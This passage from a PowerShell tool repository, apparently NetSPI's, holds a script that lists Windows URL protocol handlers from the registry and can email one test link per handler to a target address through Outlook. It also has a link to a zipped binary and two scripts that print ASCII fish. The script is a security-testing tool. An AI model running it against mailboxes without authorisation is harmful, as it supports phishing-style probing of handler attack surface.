20 | https://support.microsoft.com/en-us/help/310262/how-to-use-the-microsoft-outlook-object-library-to-send-an-html-format
21 | https://msrc-blog.microsoft.com/2008/12/09/ms08-075-reducing-attack-surface-by-turning-off-protocol-handlers/
22 | https://docs.microsoft.com/en-us/office/vba/api/outlook.application
23 | https://blogs.msdn.microsoft.com/noahc/2006/10/19/register-a-custom-url-protocol-handler/
24 | https://docs.microsoft.com/en-us/windows/win32/shell/app-registration
25 | https://docs.microsoft.com/en-us/windows/win32/shell/fa-intro
26 | https://www.vdoo.com/blog/exploiting-custom-protocol-handlers-in-windows
27 | https://zero.lol/2019-05-22-fun-with-uri-handlers/
28 | #>
29 | [CmdletBinding()]
30 | Param(
31 | [Parameter(Mandatory = $false,
32 | HelpMessage = 'Set the target email address.')]
33 | [string]$TargetEmail,
34 |
35 | [Parameter(Mandatory = $false,
36 | HelpMessage = 'Output file path.')]
37 | [string]$OutPutFile = ".\protocolhandlers.csv",
38 |
39 | [Parameter(Mandatory = $false,
40 | HelpMessage = 'Only display the protocol handlers')]
41 | [switch]$DisplayOnly
42 | )
43 |
44 | Begin
45 | {
46 | # Create datatable for output
47 | $null = $DataTable = New-Object System.Data.DataTable;
48 | $null = $DataTable.Columns.Add("key");
49 | $null = $DataTable.Columns.Add("path");
50 | }
51 |
52 | Process
53 | {
54 | Write-Verbose "Enumerating protocol handlers"
55 |
56 | # Get protocol handlers
57 | foreach ($Key in Get-ChildItem Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT)
58 | {
59 | $Path = $Key.PSPath + '\shell\open\command';
60 | $HasURLProtocol = $Key.Property -contains 'URL Protocol';
61 |
62 | if(($HasURLProtocol) -and (Test-Path $Path)){
63 | $CommandKey = Get-Item $Path;
64 | $ProtBin = $CommandKey.GetValue("")
65 | $ProtKey = $Key.Name.SubString($Key.Name.IndexOf('\') + 1)
66 | $null = $DataTable.Rows.Add($ProtKey,$ProtBin)
67 | }
68 | }
69 |
70 | # Display protocol handler count
71 | $PCount = $DataTable.Rows.Count
72 | Write-Verbose "$PCount protocol handlers found"
73 |
74 | # Write list of handlers to a file
75 | $DataTable | Export-Csv -NoTypeInformation "$OutputFile"
76 | Write-Verbose "List of protocol handlers saved to $OutputFile"
77 |
78 | # Display list
79 | if($DisplayOnly){
80 |
81 | $DataTable
82 | }
83 |
84 | # Check if emails should / can be sent
85 | if((!$DisplayOnly) -and ($TargetEmail))
86 | {
87 |
88 | # Send emails
89 | Write-Output "$PCount emails are being sent to $TargetEmail"
90 | $DataTable |
91 | Foreach {
92 |
93 | # Parse handler and associated executable.
94 | $Thekey = $_.Key
95 | $ThePath = $_.Path
96 | Write-Verbose "Sending $Thekey"
97 |
98 | # Sending emails with protocol handler links to target email
99 | $outlook = new-object -com outlook.application -Verbose:$False
100 | $ns = $outlook.GetNameSpace("MAPI");
101 | $mail = $outlook.CreateItem(0)
102 | $mail.subject = "Protocol Handler Test: $Thekey"
103 | $Html = "" +
104 | "" +
105 | "$Thekey Test" +
106 | "" +
107 | "" +
108 | "Key: $Thekey
" +
109 | "Executable: $ThePath
" +
110 | "Click Here Please
" +
111 | "" +
112 | "";
113 | $mail.HTMLbody = "$Html"
114 | #$mail.body = "This is text only."
115 | $mail.To = "$TargetEmail"
116 | $mail.Send()
117 | }
118 | }
119 | }
120 |
121 | End
122 | {
123 | # Nothing
124 | }
125 | }
126 |
127 |
--------------------------------------------------------------------------------
/cryptit/CryptItexe.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerShell/d9600f0af2382cabfcb7b24d9a1562a6662e02dc/cryptit/CryptItexe.zip
--------------------------------------------------------------------------------
/fish.ps1:
--------------------------------------------------------------------------------
1 | # Generates 5 fish
2 | 1..5|
3 | ForEach-Object{
4 |
5 | # Set random number of spaces
6 | $Spaces = " "* (Get-Random -Maximum 80)
7 |
8 | # Bubbles object 1
9 | $Bubbles1 = "
10 | $Spaces o
11 | $Spaces o"
12 |
13 | # Bubbles object 2
14 | $Bubbles2 = "
15 | $Spaces o"
16 |
17 | # Fish 1 object
18 | $Fish1 = "
19 | $Spaces <"
20 |
21 | # Fish 2 object
22 | $Fish2 = "
23 | $Spaces ><(((o>"
24 |
25 | # Fish 3 object
26 | $Fish3 = "
27 | $Spaces _____
28 | $Spaces / \
29 | $Spaces | O . |
30 | $Spaces \ . /
31 | $Spaces | |
32 | $Spaces ( O O )
33 | $Spaces / / \ \__
34 | $Spaces )/ /|||\ \(
35 | $Spaces _(( /(( ))\ ))(("
36 |
37 | # Fish 4 object
38 | $Fish4 = "
39 | $Spaces ^
40 | $Spaces -----
41 | $Spaces <--o-0-->
42 | $Spaces -------
43 | $Spaces -----"
44 |
45 | # Choose random bubbles
46 | $myBubbles = New-Object System.Collections.ArrayList
47 | $myBubbles.Add("$Bubbles1") | Out-Null
48 | $myBubbles.Add("$Bubbles2") | Out-Null
49 | $RandomBubbles = Get-Random -Maximum 3
50 | $DisplayBubbles = $myBubbles[$RandomBubbles]
51 |
52 | # Choose random fish
53 | $myFish = New-Object System.Collections.ArrayList
54 | $myFish.Add("$Fish1") | Out-Null
55 | $myFish.Add("$Fish2") | Out-Null
56 | $myFish.Add("$Fish3") | Out-Null
57 | $myFish.Add("$Fish4") | Out-Null
58 | $RandomFish = Get-Random -Maximum 4
59 | $DisplayFish = $myFish[$RandomFish]
60 |
61 | Write-Output "$DisplayBubbles"
62 | Write-Output "$DisplayFish"
63 |
64 | # Delay the print
65 | sleep .75
66 | }
67 |
--------------------------------------------------------------------------------
/fish.psm1:
--------------------------------------------------------------------------------
1 | Function Invoke-Fish{
2 | 1..5|
3 | ForEach-Object{
4 |
5 | # Set random number of spaces
6 | $Spaces = " "* (Get-Random -Maximum 80)
7 |
8 | # Bubbles object 1
9 | $Bubbles1 = "
10 | $Spaces o
11 | $Spaces o"
12 |
13 | # Bubbles object 2
14 | $Bubbles2 = "
15 | $Spaces o"
16 |
17 | # Fish 1 object
18 | $Fish1 = "
19 | $Spaces <"
20 |
21 | # Fish 2 object
22 | $Fish2 = "
23 | $Spaces ><(((o>"
24 |
25 | # Fish 3 object
26 | $Fish3 = "
27 | $Spaces _____
28 | $Spaces / \
29 | $Spaces | O . |
30 | $Spaces \ . /
31 | $Spaces | |
32 | $Spaces ( O O )
33 | $Spaces / / \ \__
34 | $Spaces )/ /|||\ \(
35 | $Spaces _(( /(( ))\ ))(("
36 |
37 | # Fish 4 object
38 | $Fish4 = "
39 | $Spaces ^
40 | $Spaces -----
41 | $Spaces <--o-0-->
42 | $Spaces -------
43 | $Spaces -----"
44 |
45 | # Choose random bubbles
46 | $myBubbles = New-Object System.Collections.ArrayList
47 | $myBubbles.Add("$Bubbles1") | Out-Null
48 | $myBubbles.Add("$Bubbles2") | Out-Null
49 | $RandomBubbles = Get-Random -Maximum 3
50 | $DisplayBubbles = $myBubbles[$RandomBubbles]
51 |
52 | # Choose random fish
53 | $myFish = New-Object System.Collections.ArrayList
54 | $myFish.Add("$Fish1") | Out-Null
55 | $myFish.Add("$Fish2") | Out-Null
56 | $myFish.Add("$Fish3") | Out-Null
57 | $myFish.Add("$Fish4") | Out-Null
58 | $RandomFish = Get-Random -Maximum 4
59 | $DisplayFish = $myFish[$RandomFish]
60 |
61 | Write-Output "$DisplayBubbles"
62 | Write-Output "$DisplayFish"
63 |
64 | # Delay the print
65 | sleep .75
66 | }
67 | }
68 |
--------------------------------------------------------------------------------